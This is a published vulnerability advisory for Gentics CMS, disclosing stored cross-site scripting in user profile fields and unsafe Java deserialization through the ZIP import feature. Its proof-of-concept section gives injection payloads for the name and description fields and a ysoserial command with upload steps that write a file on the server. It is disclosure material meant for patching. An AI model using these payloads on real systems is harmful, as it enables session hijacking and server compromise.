SEC Consult Vulnerability Lab Security Advisory < 20220608-0 >  
title: Stored Cross-Site Scripting & Unsafe Java Deserializiation  
product: Gentics CMS  
vulnerable version: 5.36.29, see section below  
fixed version: 5.40.27, 5.41.15, 5.42.7, 5.43.1 or higher  
CVE number: CVE-2022-30981, CVE-2022-30982  
impact: high  
found: 2021-04-02  
by: Gerhard Hechenberger (Office Vienna)  
Steffen Robertz (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"APA-IT Informations Technologie GmbH offers offers support with a focus on  
media solutions and IT-outsourcing. As a subsidiary of APA โ€“ Austria Press  
Agency, we are responsible for the IT of the Austrian news agency as well  
as numerous other media enterprises.  
This expertise and insight into the industry make APA-IT an expert for IT  
solutions for publishers and media-related companies. Existing systems and  
tools are constantly developed and tailored to individual customer needs.  
As such, APA-IT is always available โ€“ from conception to operation."  
Business recommendation:  
The vendor provides a patch which should be installed immediately.  
SEC Consult recommends to perform a thorough security review of these products  
conducted by security professionals to identify and resolve all security  
Vulnerability overview/description:  
1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)  
Multiple cross-site scripting vulnerabilities are present in the application.  
An attacker can store malicious JavaScript code in the username and profile  
description. The code will execute once an admin user hovers over the  
attacker's username. Thus, the attacker can execute code in the context of an  
2) Unsafe Java Deserialization (CVE-2022-30981)  
The Gentics CMS has an import option which will accept ZIP files. The archive  
includes a Java serialized object that gets deserialized on import. This can  
lead to code execution on the server.  
A low privileged user might be able to exploit this vulnerability by chaining  
it together with vulnerability 1).  
Proof of concept:  
1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)  
To trigger the first XSS, an attacker has to change the profile description to  
include a payload, e.g. "<script>alert(document.domain)</script)". The payload  
will execute once a user with access to the userlist hovers his mouse over the  
profile name. The event "onmouseover" will trigger following code:  
JSI3_comp_list_401__ass( this, 'Properties', '<b>Malicious User Name</b><br>  
<script>alert(document.domain)</script><br><br>created:<br> 09/20/2002  
( Gentics Support)<br>last edited:<br>15:56 (Malicious Username)', '' );  
The execution of the code leads to following function:  
function JSI3_comp_list_401__ass( obj, title, text, assTitle )  
clearTimeout( JSI3_comp_list_401___ass_timeout );  
JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle );  
The malicious code, which is contained in the "text" parameter, gets passed  
through to the next function. There it is added to an HTML element and thus  
executed in the browser.  
function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) {  
if (!JSI3_comp_list_401__ass_show_row_tipsy[]) {  
JSI3_comp_list_401__ass_show_row_tipsy[] = true;  
$(obj).attr('title', '<h6>'+title+'</h6>'+text+((assTitle)?'<br>'+assTitle:''));  
trigger: 'manual',  
html: true,  
offset: 3,  
delayIn: 900,  
delayOut: 0,  
opacity: 0.85,  
gravity: 'nww'  
gcn_active_tipsy = obj;  
Another XSS vector can be found in the parameters "First Name" and "Last Name".  
By e.g. changing the last name to 'Node" onload="alert(document.domain)',  
JavaScript code is added to the profile picture that is loaded in the upper  
right corner on every page. The following snippet shows the vulnerable line of  
<div id="profil">  
<div><img src="?do=11&module=system&img=profile_man.png" title="Admin Node" onload="alert(document.domain)" class="profile_avatar"></div>  
The third XSS is caused by changing the first and last name into JavaScript  
code without prior encoding. Changing the last name to  
"Last Name'+eval(alert(document.domain))+'" will cause the following code to be  
included in the server's response:  
<script language="JavaScript" type="text/javascript">  
var menus = new Array();  
var imgs = new Array();  
menus['Admin Last Name'+eval(alert(document.domain))+''] = new Array();  
menus['Admin Last Name'+eval(alert(document.domain))+'']['layer_pos'] = 1;  
menus['Admin Last Name'+eval(alert(document.domain))+'']['align'] = 'r';  
2) Unsafe Java Deserialization (CVE-2022-30981)  
First, a malicious ZIP archive needs to be created. The following files will need to  
be included within this archive:  
<?xml version="1.0" encoding="UTF-8"?>  
<?xml version="1.0" encoding="UTF-8"?>  
The third file has to be named "serializedjava.bin" and contains the actual  
payload. A demo payload can be generated with following command:  
$ ysoserial FileUpload1 'write;/tmp;SECTEST' > serializedjava.bin  
Those three files have to be zipped together into an archive, which can be  
The import feature is available under Enterprise CMS -> Administration ->  
Import and Export. Now select New->Import and upload the malicious ZIP archive.  
Wait until the import completed. Now click on "Test succeeded" in the file  
list. On the new screen select "Start import in background". The payload should  
create a file called "upload_<random_uuid>.tmp" in the folder /tmp. It will  
contain the string "SECTEST".  
Better deserialization chains could be built to reach more interesting targets.  
It is very likely, that RCE could be obtained by writing an own deserialization  
Vulnerable / tested versions:  
The following product version has been tested and found to be vulnerable. Other versions  
are vulnerable as well, please see the vendor's changelog in the solution section.  
* Gentics CMS 5.36.29  
Vendor contact timeline:  
2022-04-04: Contacting vendor through  
2022-04-04: Ticket SUP-13323 created.  
2022-04-05: Sent advisory via unencrypted email to provided vendor email address.  
2022-05-04: Updates for Gentics CMS were released on 14th April.  
2022-05-05: Gentics provides us with the fixed version numbers.  
2022-06-08: Release of security advisory.  
Update to versions greater or equal to:  
* 5.40.27 (see  
* 5.41.15 (see  
* 5.42.7 (see  
* 5.43.1 (see  
Advisory URL:  
SEC Consult Vulnerability Lab  
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EOF Gerhard Hechenberger, Steffen Robertz / @2022